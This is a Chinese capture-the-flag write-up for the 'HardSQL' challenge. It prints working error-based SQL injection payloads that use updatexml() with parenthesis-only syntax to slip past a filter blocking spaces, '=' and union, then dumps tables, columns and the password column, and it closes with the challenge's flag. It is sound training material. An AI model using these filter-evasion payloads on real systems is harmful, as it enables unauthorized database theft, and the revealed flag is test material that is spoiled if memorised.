[极客大挑战 2019]HardSQL
1.打开靶机
还是回显登录界面:

2.尝试绕过
使用万能账号:

回显:

我们并不知道这个界面的含义是什么,也许是代表里面存在字符被过滤?由于纯手工注入速度太慢,选择BP爆破查找过滤字符。
3.BP爆破
字典爆破后发现空格 /**/ = sleep union等大量字符被过滤。
4.再次尝试绕过
更改万能账号格式:

成功登录:

由于多字符被禁,我们选择报错注入。
5.报错注入
先写一段正常的:
'or updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),1)#
更改为适合该题的查表:
'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))),1))#
回显:

成功,接下来查列:
'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))),1))#
回显:

最后查元素:
'or(updatexml(1,concat(0x7e,(select(group_concat(id,username,password))from(H4rDsq1))),1))#
回显:

只有一段flag,我们只查password:
'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1))),1))#
回显:

还是只有一半,想办法截取后半段:
'or(updatexml(1,concat(0x7e,(select(group_concat(right(password,25)))from(H4rDsq1))),1))#
回显后半段flag:

拼接后得到flag:
CTF2{e379ccf8-956b-4a1f-9258-e9177d8bccf1}